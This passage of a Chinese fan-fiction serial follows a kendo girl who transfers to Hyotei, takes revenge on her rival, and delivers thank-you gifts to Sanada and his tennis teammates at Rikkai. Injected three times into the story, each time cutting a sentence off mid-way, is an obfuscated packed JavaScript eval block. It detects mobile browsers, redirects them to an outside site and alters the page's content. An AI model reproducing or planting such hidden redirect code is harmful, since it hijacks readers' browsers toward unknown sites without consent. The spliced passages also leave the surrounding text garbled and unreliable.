“我和迹部先生握过手,我知道努力的手是什么样的。”斋藤解释着。 “当然真田君你也有一双非常努力的手。” 斋藤不动声色地夸奖真田,这话顺利地噎住了真田。 斋藤就没有再和主动真田说话,而是看着远处不知什么时候出现的,被主人逗弄的金毛犬,露出了得到了治愈而沉迷其中的陶醉表情。 “耳朵怎么了?” 真田用着比平时迅速又微弱的声音说着,斋藤因为右侧的耳朵听得不是很清楚,歪着脑袋看着真田。 真田绕道斋藤的左侧,继续说。 “今天你一直歪着脑袋跟我说话。” “就像那样。” 真田转头向金毛犬的方向抬了抬下巴,斋藤看到金毛犬坐在地上,不知是听不懂指令还是好奇心旺盛,它对着主人歪着脑袋。 被真田这么形容,斋藤感觉羞愤和尴尬,她不服气地辩解着。 “我平时不是这样的!” “我知道。” 真田说得很平静,没有笑,也没有多问,只是了确认道。 “所以,耳朵受伤了?” 斋藤点了点头。 既然真田发现了,那么就没有理由去隐瞒了。 得到答案后,真田站到斋藤的面前,认真地看着斋藤的脸,将手伸到斋藤的右脸侧, 斋藤被真田充满担忧和关切的神色的眼睛盯得心脏激烈地跳动。 她发现从今年年初开始,面对真田时,自己居然会开始会紧张。 她不喜欢这样情绪激动的自己,因为她知道,这样的状态站在赛场上只会落入下风。 斋藤没有选择将视线移向别处这种可疑心绪的方式,她低下头,将微微张开的嘴唇紧紧抿住,像生怕那只接近自己的手伸进自己的嘴中,把已经因为紧张而紊乱的身体秩序更加搅得乱七八糟。 而真田只是在她的右耳边打了一个响指,斋藤因为突如其来的声音,脑袋往左边躲闪着。 “看样子还能听得见。”真田脸上的紧绷感卸除,兀自说着。 斋藤看着真田想,真田还是老样子,表达关心的方式还是那么拐弯抹角。直接问的话,刚才她就不会多余地紧张了。 “斋藤,打败他。”真田突然对斋藤坚定地说,“你一定要打败他。” 斋藤听到了真田的鼓励,点了点头,但似乎想到了什么,稍微顿了一下。 “你们网球部的是怎么训练体能的?”斋藤问真田。 “都是一些基础训练。是莲二经过数据以及我的经验设计出的最佳锻炼方案……” 莲二,斋藤从真田嘴里听到一个陌生的名字。 “你问这个做什么?”真田反问。 “我想在下次和赤川比试之前进行体能特训,这应该是你最擅长的。” “我要先去跟幸村和莲二商量一下,社团的训练计划也不是能随便给无关人员的。” 斋藤现在又是“无关人员”。这种生疏的称呼叫着自己,斋藤手指用力掐住手心。 “要不然明天早上跟我一起晨跑,尽全力地跑,让我看看你——” “不行,你的耳朵受伤了,没有办法运动。” 看着真田思考的样子,斋藤心里有点暖,又有点难受。那句“无关人员”还在脑海里挥之不去。 “……谢谢。”斋藤低声说,声音轻得几乎听不见。 “你难得拜托我,我当然会尽全力的帮你。”真田看着她,说得理所当然。 那一瞬间,斋藤内心的难受被真田的温柔压住了,多少让她觉得自己并不是被彻底拒之门外的人。 斋藤轻轻点了点头,嘴角也不自觉扬起一丝弧度。心情比刚才好了一些。 裤子口袋里的东西有点搁着腿根,斋藤把手伸进口袋里调整,指尖碰到真田送她的小挂件。斋藤用力握了握,心里的不快似乎也随之散去。 17. 再遇迹部 四月的入学日,斋藤比日常出门的时间要早一些。 当斋藤整装完毕背着包穿鞋准备出门时,父亲泪眼汪汪地将打包好的三明治递给斋藤。 当得父亲知斋藤转校并住在东京的居所后,他也搬了过去。用他的话说,接案绘师在哪里都可以工作。然后他活用从宫摩千那里学到的家务妙招和烹饪技法,变成了家庭主夫。 斋藤一边接过三明治,一边因没有好好享用父亲特地准备丰盛早餐而道歉。 今天是开学的第一天,早上的时间被新年级的分班和开学式所占据,也就意味着没有时间晨练。 而从家里跑到学校,这段距离应该能代替训练计划里训练量。 训练计划是和真田见面后的第二天下午,真田亲手交给斋藤的。 真田在斋藤家门前,递给斋藤一张打印着表格的纸,这应该就是网球部的每日的训练计划。 斋藤仔细阅读内容。 “这训练量对男生来说是不是太少了?” 至少一天的有氧运动量远不及去年暑假真田一天跑步的量。 “这是莲二帮助女子网球部设计的训练计划,如果执行困难或者有哪些不足,你尽管说,也算是帮忙改进完善训练计划。” “这人怎么知道我是女生?” 斋藤记得自己向真田要的是网球部的训练计划表,而不是女子网球部的训练计划表。 “是幸村说的,而且他觉得体能训练循序渐进比较好,男子网球部的日常训练量非常大的,基础太差就去上手,只是事倍功半。” 斋藤没想到幸村精市这个人也知道自己的存在。 “……真田君,请替我向幸村和莲二先生道谢。” “他叫柳莲二。” 原来是叫柳,所以真田一直在名字称呼他。 “这样啊……还有,谢谢你,真田君。” “等你打败赤川后再说这些客套话吧。” 真田抬起头,撇开视线。 斋藤气喘吁吁地来到学校门口,背后沁出一层薄汗,她脱下制服外套,搭在手臂上。 她直接来到公告栏前,看着分班表,找到了自己的名字确认自己所在的班级后,坐在附近的长椅上,把校服外套放在膝上,打开包拿出三明治。 还好开学的前一天就分配好鞋柜,要不然早上书包里还要再塞一双制服鞋进去。 早餐和制服鞋放在一起,光是想想就掉胃口。 斋藤抬起头看着晴朗的天空,沐浴着阳光,她细嚼慢咽,在心中感慨着手工面包还是比工厂流水线的面包要好吃一点。 “早上好,迹部大人!” 学生们向迹部问候的声音从远处传来,斋藤向声音的方向望去,看到学生们自觉地站在路的两边,让出一条道供迹部顺利通行。 斋藤不疾不徐地将膝上的制服放在一旁,把吃了一半的早餐包好藏在身后,另一只手用手帕拂去嘴边的面包屑,做好准备。 “早上好,迹部先生。”斋藤对着从自己身边的路过迹部说。 迹部讶异地看着穿着冰帝学园制服的斋藤,但是很快恢复了平时那种游刃有余的笑容,颔首回应。他没有在斋藤面前多做停留,直接走到公告栏前待了一会便离开了。 确认迹部与自己的距离越来越远,斋藤松了一口气,坐回椅子上,继续享用着早餐。 “你是斋藤吧,麻烦你去一趟学生会办公室。” 入学式和HR结束后,斋藤准备把社团申请书准备去剑道部的顾问那里,同班的一个学生拦住了斋藤,并这么说着,于是斋藤一边拿着申请书,一边来到学生会的办公室。 “好久不见,斋藤同学。” 斋藤进门,迹部坐在沙发上主动开口。 斋藤没有感到惊讶,早上入学式的学生方的致辞代表就是学生会长,迹部景吾。 “你好,迹部先生。请问您找我有什么事?” “我只是想‘打个招呼’。” “我们早上刚见过面,我也打过招呼了。” “本大爷可没兴趣打扰别人吃早餐。” 斋藤下意识地用手遮住自己的嘴巴。 “别紧张,能在学校里悠闲地吃东西,说明你适应力很强。” 斋藤将手放下,身体也不再紧绷。 “你转到冰帝来,是因为被这里自由的校园风气给吸引来的?”迹部问。 斋藤不想向迹部透露私事,但是自己没有办法拒绝这所学校的帝王以及母亲上司的要求。 “我转到冰帝,是为了对风岚进行‘复仇’。” 简短平静的话语饱含着斋藤的不甘与愤怒,迹部扶着脸,露出眼睛,认真地注视着坚定地斋藤,而斋藤也直视着迹部,没有躲闪。 迹部忽然笑出了声。 “虽然不知道发生了什么,不过本大爷也不讨厌看‘复仇剧’就是了。” “就像我在入学式上说的那样,尽情地享受学园生活吧。” 然后他抬起手,请斋藤离开办公室。 斋藤还是不清楚为什么迹部要特意把自己叫到办公室,就为了说这两句不痛不痒的话,也没必要让自己特意来办公室,浪费彼此的时间。 “难道迹部先生是担心我是别的学校的‘间谍’?”斋藤将自己的擅自揣测说了出来。 “请不用担心,我喜欢正面对决,讨厌那种旁门左道的行为。” 对于斋藤的说法,迹部露出了嘲讽意味的笑容。 “斋藤同学还真是心胸狭隘,到现在还在计较着那件事。” “我说过了,我找你来只是‘打个招呼’罢了。” 斋藤觉得这个理由就是在搪塞,可她也不想继续追问下去,回复一句“我知道了”。 根据顾问的评估,斋藤非常顺利地就加入了剑道部。 第二天社团活动的第一件事就是开部会,所有二年级和三年级的部员在场馆里席地而坐,顾问老师让刚转校的斋藤进行自我介绍。 斋藤起身,用颇有气势的声音介绍自己。 “斋藤志罗,二年级生,我是从风岚中学转过来的。我会努力的,也会和大家好好相处的。” 其实她不需要自我介绍,去年在校间试合上也算是出风头,跟别提她还是去年关东地区新人赛上的冠军。 一些部员对斋藤露出期待欣喜的表情,但斋藤还是在窃窃私语里听到了不符实际的流言。 斋藤看了一眼流言的源头,对方红着脸立即噤声。 顾问将这学期的计划与主要活动大致说了一遍后,便让大家更上装备开始训练。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487290|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 训练量和风岚的相当,斋藤完全能够适应。 社团活动结束后,斋藤匆匆地脱下装备,换上制服,和更衣室里的部员们简单地道别,因为父亲和斋藤说好会开车亲自接斋藤回家,斋藤看着手机上的时间,估计着父亲现在应该在路边等她放学。 与母亲不同的是,父亲开的是家用轿车,要是没有母亲管着,这辆车的车身可能会被自己的父亲贴上各种奇怪的贴图。车内环境算是干净,但是可能父亲刚搬到东京,还有一些东西搁置在车的后排。 父亲期待地拍了拍副驾的坐垫,但是斋藤还是打开后座的门,将位置上的装着基本未拆封书的袋子转移到副驾上,然后坐了下来。 父亲垂下头,嘱咐斋藤系好安全带。 斋藤坐在车的后排座位,透过车窗,看着移动的街边。 街道上樱花正盛,花瓣在微不可察的空气流动中,轻轻摇曳着飘落。。 立海大的新闻部发布的校园周边景色摄影里,她也见过这番明媚的春日场景。 此刻在那条街道上,真田应该在和别人一起回家…… 嗯? 为什么会突然想到立海大呢? 斋藤深入思考,她想到了,冰帝和立海大一样的地方,都是一贯制学校…… 所以…… 对了,是联合训练! 斋藤从立海大的校刊了解到,网球部会定期与高等部的联合训练。而在刚刚剑道部顾问介绍定期举行的活动里,她没有听到剑道部有这个活动。 她还从来没有和高中生比试过。 什么也不准备,直接跟顾问说肯定是不行,这显得她并不是真的很重视这项活动。 她记得之前在社团里见过学姐提交社团活动计划书这样的东西,给顾问老师。 她立刻给真田发送短信。 【真田君,请告诉我社团的计划书怎么写。】 斋藤理所当然地认为,身为副部长的真田,应该很擅长写这种东西。 “进入新学校的剑道部这么开心?” 斋藤的父亲通过后视镜看着在后排因为激动而不断地变换坐姿的女儿。 “嗯。”斋藤点头。 晚上,真田回复了斋藤。 【你为什么要写这个?】 穿着家居服的斋藤在自己的房间里躺在床上,将手机举得高高的。 【我想让剑道部和高等部那边进行联合训练。你们网球部不是有这个活动嘛,所以我就想请教你提交给学生会的方案是怎么写的。】 【你是怎么知道的?】真田反问。 糟糕。 斋藤起身下床,穿着绒毛袜的双脚在房间踱步打转,消解尴尬。 【我猜的。因为这像真田君会做的事。】斋藤回复。 她可不会直接告诉真田,自己一直关注着他在立海大网球部的活跃表现。 这条信息下方显示着未读,于是斋藤继续发了两句,【所以没有吗?】【真遗憾。】 过了一会,真田将手写的计划书大纲用照片的形式发给了斋藤。 【你按着这个方向去写,写完后先给我看。】 斋藤开心地坐在书桌前,开始着手准备计划书。 窗外,都市街道上同星河的霓虹灯,照亮着斋藤前方的黑暗。 18. 必要的改变 几天后,斋藤将真田认可的联合训练计划书交给了剑道部的监督。监督坐在椅子上一边仔细阅读,一边点着头。 “想法是很不错,计划书写的也很清楚详细。 正当斋藤认为胜券在握的时候,监督继续说着。 “但我看你入部之后,只会听从安排进行训练,从没有主动和同学年的部员切磋过,你现在提议去和高校部联合训练。你觉得大家会怎么想?” 斋藤想,监督的意思是,社团的大家会误会自己觉得他们太弱,瞧不起他们的实力。 执意去做的话,她的境遇大概就会变得和在风岚时一样麻烦。 斋藤刚想拿回计划案,监督就从桌上拿起并且收进了抽屉里。 “我觉得这个方案非常好,所以我就先收着了。但是让大家认同你的想法,你必须要做些什么。” “社团可不是只看实力的地方。” 斋藤面无表情地坐在车子里,眼睛盯着车子地前方。 她的确从来没有主动和别人提出挑战。 如果说这就是因为性格傲慢,轻视他人,那她也认了,但是似乎理由不止在此。 有什么东西在阻止自己。 还是因为她认为自己很强,总是赢别人,所以没有主动挑战的必要,还是反过来因为太多的胜利,担心自己得意忘形,或是害怕自己主动挑战,输了丢脸……? 不对,都不是。 她怎么也找不到根本原因。 她摇了摇头,让自己不再纠结于此,不在反思上做出过多内耗。 此刻,她只想用最快的速度,让自己的身体接受主动挑战别人这件事。 父亲关切地问着斋藤发生了,斋藤回答“事情办得不是很顺利”。 【怎么样?】 晚上,真田难得主动给斋藤发信息。 【监督说,计划书写得很好。】 刚想点击发送,斋藤又补充一段。 【他说,我加入社团没多久就提出这样的方案,大家可能没办法接受,所以过一段时间,再和大家进行说明。】 【以你的实力,应该很快能说服他们的。】 看到真田回复,斋藤苦笑。 “社团可不是只看实力的。” 教练的这句话,似乎正好可以浇灭真田鼓励带来的温度。 真田君,我不知道怎么主动挑战别人,你有什么方法吗? 刚想这么问的斋藤,暗自骂了自己一句。 他绝对没办法帮我,斋藤想。 按真田不服输,不放弃,不断挑战自己的个性,与他人比试这件事是自然而然的,没有什么“方法”可言。 要是真田得知斋藤连主动挑战这件武道上最基本的事都做不到,他大概率只会说‘怎么连这个都做不到’。 想到这里,斋藤叹了口气。她觉得和真田讲这些只会让自己更难堪。 斋藤和真田道了晚安。关掉聊天框后,她把问题扔给了小宫。 下一秒,小宫的来电让手机在桌子上“嘎达嘎达”抖动着。 “你是笨蛋吗?你连‘我想和你打一场,请多多指教’都不会说吗?”斋藤刚接起电话,就听见小宫用轻蔑的口吻跟她说。 “我知道,可是……” “这种简单的事你去请教远藤,她好像挺中意你的,而且她也喜欢多管闲事。” 小宫给迷茫的斋藤指了一条路,然后单方面地挂断了电话。 斋藤听从小宫的意见,发送请求帮助的信息给远藤。 稍后,手机又响了起来,这次是远藤的来电。 与小宫不同的是,电话接通后,远藤有好好地确认斋藤当前的状态。 “斋藤,剑道部的事情,我很遗憾。” 远藤似乎也知道了斋藤的遭遇。 “没事的,请前辈不用在意。我已经转到别的学校了,加入别的学校的剑道部。” “是吗?太好了,看来你的状态挺好的。” 远藤先是在电话里不易察觉地轻轻叹气,但立刻就用平日里爽朗的声线继续说。 “不过我是没想到你是这么内向的人,居然没办法主动和别人挑战。” 这应该和性格内向没关系,更何况斋藤觉得自己性格算不上内向。 “不过你怎么突然问我这个?” “小宫前辈让我向你请教的。” “原来是那家伙……” “也是,那家伙的个性让你对主动去挑战别人感到不安了,是吧?” 远藤对小宫偏见将斋藤置于无辜受害者的位置上,但是斋藤非常清楚,无法挑战的理由也不是这个。 “其实和小宫前辈没有关系,是我个人的问题……”斋藤向远藤澄清。 “你不用说明了,这事我会帮你的!”远藤没有听斋藤的解释,非常爽快地答应了斋藤的请求。 周末,斋藤听从了远藤的要求,带着全套装备,来到远藤所在的高中,穿着剑道服的远藤站在学校门口等着她。 远藤将斋藤带去洗手间,换好装备,并问有没有热身。斋藤回答自己是跑到这里的,远藤满意地点了点头。换好衣服,戴好头盔和护具的斋藤,跟着远藤来到挂着“剑道部”木牌的单层建筑之前,拉门紧闭,器械相互撞击的声音和气合声从门的另一端发出。 斋藤有种既视感。 对了,是赤川来学校踢馆。 即使斋藤再怎么讨厌赤川,她也要承认在主动挑战踢馆方面赤川比她要强上不少。 “你是谁?”远藤用比平日要大的声音问,像是在说给人听。 还未等斋藤回答,她继续说:“国中生,这里不是你应该来的地方!” “哈?区区一个国中生居然这么大言不惭?” 斋藤什么话也没有说,她只是不明所以地看着远藤在门口演独角戏。 然后远藤猛地将门拉开,把斋藤拽到门前。 “喂!大家!这里有个嚣张小鬼来踢馆了!”远藤将手放在嘴边大声地向整个剑道部宣告。 斋藤这才看懂远藤想做的事情。 听到远藤的话,场馆内的人乌泱泱的来到门前,其中一个人站到了人群的最前方前方。 “居然能被远藤说是嚣张,做好觉悟吧,小鬼!”最前方的人用颇为洪亮的声音说。 远藤拍着斋藤的后背,在耳边轻声说着“加油”,然后将斋藤推进场馆里。 一脸懵的斋藤就这样踉跄地来到气势汹汹的高中生面前。 “怎么,你是没做好准备吗?把气势拿出来!” 斋藤的大脑一片空白,但她本能地将左脚向前踏出一步,用这种方式来提升自己的气势。 “——请多指教!” 剑道社的高中生们围坐在场边。 打头阵的对手水平一般,斋藤轻松取胜。 然而第二位的实力明显更强,斋藤预感将陷入苦战。 而这才只是第二人。 对手们彼此默契,每当有人被斋藤打中一击或输掉一本,便有序换人。 每个人都清楚自己在社团中的实力排名。 这就是高中生的水平。 这让斋藤确信,与高等部的联合训练是必要的。 当斋藤感到体力不支时,坐在一旁地观战地远藤及时地站了出来,说“这家伙应该吃到苦头了,剩下的就交给我”,阻止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“对了,前辈,你还没和我比试。” “然后呢?”远藤挑起眉毛露出欣慰但有些狡猾的笑容 斋藤将身体转向远藤,闭起眼睛,深呼吸。 “我希望能和你比试!请多指教!” 临近部活结束,斋藤站在三年级的前辈面前,弯下腰向对方发起挑战。 冰帝学园国中部剑道部的大家第一次见到了斋藤主动挑战别人。 ”……请多指教。“ 这个场景太过出乎意料,前辈过了一会才回应了斋藤。 主动挑战,也没有那么困难,斋藤想。 一个问题解决了,但是一个新的问题出现了。 这么简单的事情,之前她为什么觉得自己没办法做到。 晚上,斋藤拿着手机躺在床上,她想把这件事,把自己的成长和真田分享。 【真田君我今天】 忽然,她的手指停在了空中,有股力量在阻止她将这句话打完。 她不是想到了真田看到这句话可能是会教训自己,她在想发给真田这句话的意义是什么? 想要真田给自己发“做得很好”的话,真田知道后就会发给自己吗? 主动挑战别人本是她一年就应该做的事情,而她现在才做到,她弥补过去的不足,并不值得被夸赞。 斋藤删掉了信息的内容,将手机放在了一边。 她感觉自己已经不满足于做得很好,她想要做得更好。 19. 立海大 五月,冰帝与风岚剑道部的校间试合,这次在学生会的安排下,活动场地不在道场场馆,而是在体育馆。 当斋藤站在赤川的面前说要挑战赤川时,双方学校的顾问老师的意见并不一致,令人意外的是,冰帝的顾问老师是反对的,而风岚的顾问老师却是同意的。 而赤川也对斋藤的主动挑战表现得非常消极。或许斋藤急切的复仇举动让赤川感觉到了威胁。 就在斋藤以为自己没办法对赤川进行“复仇”的时候,迹部站在体育馆的高处的看台上,以冰帝帝王的姿态,单方面宣布自己允许赤川和斋藤进行剑道比试。 斋藤这才明白,签上站在高处的贵人应该是指站在高处的迹部。 事后斋藤觉得签的内容写得太过直白,但在那个时候,只是想打败赤川的斋藤对迹部充满感激。 本以为赤川的心态早已不是当年,但在比试时乱了阵脚,完全被斋藤牵着鼻子走。 身体状态绝佳,一直保持冷静的斋藤很快拿下二本,赢了比赛。 赤川升入国中之前,输给斋藤的话也不会造成多大的伤害。只是“小学生”输给“国中生”。但现在不一样了,他已经成为国中生,与斋藤是一个学年。 目前的情况就是赤川身为一个男生,输给女生。 就和过去在道场上的状况一样。 斋藤虽然复仇成功,她还是希望赤川不要被这种事打击到从而放弃剑道。但她知道要是此刻对赤川出那种话,只是火上浇油。 就在斋藤不知道怎么做的时候,冰帝的一个一年级的男生站了出来。男生走到赤川面前,弯下腰,当着众人的面向赤川挑战。 斋藤记得这个男生,加入剑道部之前压根没有接触过剑道,移动的步伐和挥剑的动作都透着他的犹豫和慌乱以及毫无基础。 赤川看着对手显得非常犹豫,斋藤扔下一句,“你跟他都是一年级的男生,你没有拒绝比试的理由”便转身下场。 于是开始了一轮新的比试,而不出斋藤所料,一年级男生很快败给了赤川。周围的人发出扫兴的嘘声中,一年级的男生灰溜溜地来到场边 斋藤径直走到那个一年级的男生,就让她从比试之后的抽身,和他道谢。而一年级的男生受宠若惊,连忙摆手说请不要这样。 斋藤并没有参加校间试合的后续活动,她换好衣服,打开手机,就看到真田一大早给她发了条消息。 【记得告诉我比试的结果。】 而上面的对话,是真田前一日给因为“复仇”而不安的斋藤,“要相信自己”的鼓励。 【我赢了。】斋藤回复。 今天父亲没有开车接斋藤放学。斋藤前往车站的路上一直看着手机。当收到真田的消息时,斋藤立移到路边打开应用。 真田只是发送“做得很好”贴图给斋藤。 “什么嘛,就发个这给我。” 斋藤嘴上这么说着,脸上却露出与失望语气截然不同的笑容。 对赤川复仇这件事算是落下帷幕了,接下来,斋藤就要好好的备战全中了。 就像预计的那样,由于备战全中,今年的暑假斋藤大部分时间都在东京, 虽然拿到团体赛冠军的希望渺茫,但斋藤既然参加社团,就要和大家打好关系,一起行动。而且她还要对风岚进行复仇,如果可以,她希望今年的团体赛上,遇上风岚的队伍并且击败对方。 再怎么努力,社团还是会安排几天休息,于是斋藤主动联系真田,说想给幸村和柳感谢礼。 真田跟斋藤说没必要这么客气。 “把这么重要的训练资料交给这个外人,我当然要懂得感恩。”斋藤说。 其实这是她想要和真田见上一面才想到的理由。 斋藤想把谢礼交给真田,由真田转交给幸村和柳。真田说,想和斋藤约好时间在立海大碰面。当斋藤问什么不是在家碰面时,真田说马上要全国大赛了,每天训练的内容不一样,他没办法确定什么时候到家。 斋藤想,其实多晚也没关系,她可以住神奈川一晚上,第二天赶早回东京,但是她还是按着真田的要求来到了立海大。 斋藤来到立海国中部门前,百感交集。 她差一点就成为这个学校的学生。假如成为立海大的学生的话,说不定也不会遇到那么多糟心的事情了。 转念一想,遇到的糟心事带来的也不全是坏事,至少,她的身体素质比之前有了很大的提升。 立海大的网球场在学校显眼的位置,占地面积也很大,但她没有去直接那里给自己找不快。 她向路过的学生询问立海大的剑道部的位置,却被告知剑道部今日在校外的体育馆进行训练,她转而来到教学楼,在门口换上室内鞋。 她想看看真田的教室。 她一直在看立海大新闻部发布的消息,所以她知道真田是哪个班的。 她站在真田的所在的班级教室前,深呼吸,然后把手放在门把上用力一拉。 门死死钉在原地,一动不动。 现在是暑假,开放的只有社团活动室,教室的门自然是上锁的。 接连遭遇阻碍的斋藤沮丧地走在楼道里,她看着周身陌生的场景,想如果她当时选择了上立海大,现在一定不会带着好奇心去看着这一切。 忽然她停下脚步来到窗前,因为从这个位置她能看到楼下的网球场。 即便真田没有戴着帽子,斋藤还是很快在人群中找到真田的身影。 真田大步流星地跑到落球点,迅速果断的挥拍,跟他在学习剑道时内敛平静的状态完全不一样。 “原来是这副模样啊……” 斋藤在真田的动作中感受到他的激情,想着真田是真的很喜欢网球。 而她讨厌网球。 斋藤的视线从球场上挪开,转到了在网球场边上尖叫的女生们。 毕竟是战绩亮眼的网球强校,受到女生欢迎自然是理所当然的。 斋藤突然想到了情人节时,真田手中一袋子的巧克力。 ……或许围观的女生里面有喜欢真田的女生。 这时真田来到金属拦网前,而斋藤稍微将身体向窗外探出,双手紧抓窗沿。 真田双臂抱胸,和女生们说着什么,女生们像是野生小动物遇见大型猛兽一样,先是挤在一起,然后迅速散开。 看到这个场面的斋藤冷汗直冒,脸色发青,她在很多年前也像那些女生那样被真田赶走……甚至还要过分。但是当她看到真田对所有人一视同仁地这么做时,她却有一种……安心感? 因为感觉到了“公平”?还是幸灾乐祸? “真讨厌……” 斋藤自言自语,她不再思考无用的念想,从窗边离开,在校园里漫无目的的闲逛打发时间。 她的手机响起,电话另一头的真田问斋藤人在哪里,斋藤说就在真田的学校里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487292|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “十分钟……十五分钟后我们在中庭的大树前碰面。” 因为马上要与真田见面,斋藤心砰砰地跳着。她抓紧袋子,依靠着大树,想象着自己的心就跟这棵大树的树根那样不会轻易动摇。 “斋藤君,让你久等了。” 看到真田向自己走来,斋藤主动迎了上去,但是看到真田身后跟着人,她刚露出的笑容瞬间冻结了。 跟在真田身后的两个男生五官秀气,表情温和,是和真田不同类型的人。而那两个人看到了斋藤后就停住了脚步,与真田保持一定的距离。 当真田来到斋藤的面前,斋藤露出苦恼的表情,低声地真田抱怨。 “真田君,不是说好我把谢礼给你,你帮我转交的吗?” “你亲手把谢礼送出去会显得更有诚意。”真田说,“要是你真的不想和他们接触,我现在就可以帮你把东西转交给他们。” 人都已经站在自己面前了,要是还通过真田转交,原本充满人情与感谢的举动变得弄巧成拙,显得斋藤非常失礼。 斋藤甚至想,真田从一开始就是打算这么做,才约在立海大见面地。 “知道了,我会亲手把东西交给他们的。” 斋藤跟在真田的身后,走向久闻大名的幸村和刚刚得知其存在的柳。 “幸村,莲二,这位就是斋藤。” “我叫斋藤志罗,请多指教。” 斋藤慌乱地看向手里的袋子,从三个纸袋中拿出两个贴着一样标签的,将大纸袋放在地上,双手恭敬地捧着,将谢礼递给二人。 “谢谢你们的帮助!这是我的一点心意,不成敬意,还请笑纳。” 二人没有推托,一边道谢,一边收下了斋藤的谢礼。 “真田总是跟我提到你,今天终于见面了。”幸村笑脸盈盈。 “哪有总是啊?”一旁的真田不满地吐槽。 “真田君也经常跟我说,幸村你是一个了不起的人。他很崇拜你。” 听到斋藤的话,幸村微笑着看向真田,真田则将脸撇向一边。 斋藤也将视线移开,没有再和幸村继续对话,转而对柳说。 “你好……柳……你设计的运动计划非常详细,多亏了这份计划,我才能顺利地赢下比赛。” “我也要谢谢斋藤小姐帮我完善了训练计划,后续的进阶训练计划设计提供了不少有用的信息。” 每当斋藤和真田提出训练计划的疑问或者建议,真田很快就会转告给柳,柳会及时地给出相应回答和修改。 “那段时间给你添麻烦了……” “哪里,多亏了斋藤小姐愿意亲自尝试并协助打磨,整个训练计划的实用性提升了将近26%,现在已经可以正式应用在女子网球部的训练当中了。” “那就好。”斋藤用礼节性笑容回应柳。 斋藤用余光看向真田,却发现真田看着她并不满地皱起眉头。 “当、当然也要谢谢真田君你帮我传话。”斋藤急忙说。 “的确,这也有弦一郎的功劳。”柳立刻附和着。 “真田,你应该不是这么气量狭小的人吧。”幸村继续保持着富有亲和力的微笑,眼睛里闪过一抹狡猾的色彩。 “……我才不在意这种事情。” 面对众人的视线和言语,真田半天才挤出这么一句。 看到幸村和柳对真田如此亲切,斋藤自然很欣慰—— 20. 稍微靠近一点了 咖啡。 她突然想起第一次喝咖啡。 纵使加了再多的牛奶和砂糖,只要闻到咖啡的香味,那份纯粹的苦涩就会浮在味蕾之上,萦绕在脑海中不能散去。 苦的“味道”,她还是能够接受的。 但是谁会喜欢痛苦的回忆。 无论幸村和柳再怎么友善,终究是那边的,“网球”那边的人。 而在斋藤对在“那边”的真田—— “……谢谢你们一直关照真田君。” 斋藤猛地弯下腰,突然向柳和幸村这么说着。下排牙齿紧紧拉扯着她的上唇,咬得太过用力,疼得眼泪都要流出来了。于是她松开牙齿,疼痛瞬间消失,眼泪也收了回去。 三人显然被斋藤的突然举动吓了一跳。 “你怎么突然说这种话?”真田说。 “斋藤小姐你不用这样。”柳说。 “这是应该的。”幸村说。 “抱歉……好像给你们造成了困扰。”平复好心情的斋藤恢复站姿,向三人道歉。 “真田,看来你有一个好‘姐姐’啊。”幸村调侃起真田。 “她才不是姐姐,要说也是妹……弟……总之她不是姐姐。” 看到真田如此窘迫,幸村与柳相视一笑。 幸村主动说他和柳还有事要去做,之后便与柳先行离开了。 太好了。 斋藤松了一口,只要那边的人离开了,真田就是自己的青梅竹马真田,跟网球没有任何关系的真田。 “我送你去车站。”真田跟斋藤说。 “……等一下。”斋藤叫住真田,她从纸提袋里拿出了包装好的谢礼递给真田。真田并没有立刻收下,只是惊讶地看着斋藤。 “这是……给我的?” “……毕竟你也帮我了嘛,当然要给你。” “你不需要这么见外。”真田皱眉。 “不给你的话才是见外吧。” 真田便收下了斋藤给的谢礼,眉间的皱纹并没有消失,他这样的表现让斋藤觉得真田并不是那么开心。 如果给幸村和柳的同时也给了真田谢礼,会不会比现在要表现的开心一些。 不过及时是时间倒流,斋藤还是会像这样单独给真田,因为给真田的谢礼包装袋上的标签和其他两个的颜色不一样。 “怎么了?是不是有什么想问我的?” 走在前往车站的路上,斋藤问着收到谢礼后时不时看着她的真田。 “……感觉你完全没有变。” “其实我也有长高。”斋藤用手掌在自己的头顶上比划着。 她在女生中算是比较高挑的那类,但站在高大强壮的真田身边时完全看不出她的身高优势。 “我以为你经过特训后,会变得更强壮一些。” “是有变强壮一些,不过只通过外表看不出来。”斋藤不服气地抬起手臂,她握紧拳头,绷紧小臂,向真田展示自己的挤出的肱二头肌。 真田随口应了句“是吗”,也同样抬起手臂,他的动作很随意,但短袖之下的手臂肌肉线条一下子浮现出来,肌肉高高隆起,轮廓比斋藤的还要明显得多。 斋藤有点沮丧,明明没比,却有种强烈的挫败感。 “剑道又不是光靠体格强壮,我可是努力地在锻炼心技体!”她语气有些急。 虽然是女生用的训练计划,但是她能坚持下来,意志力自然也有所提升。 “嗯,确实,你身上的确是有努力的味道。”真田收起手臂,手自然地弯曲,抵在嘴上鼻下。 味道?斋藤下意识拉了拉衣领,偷闻了一下,心虚地瞄了真田一眼。 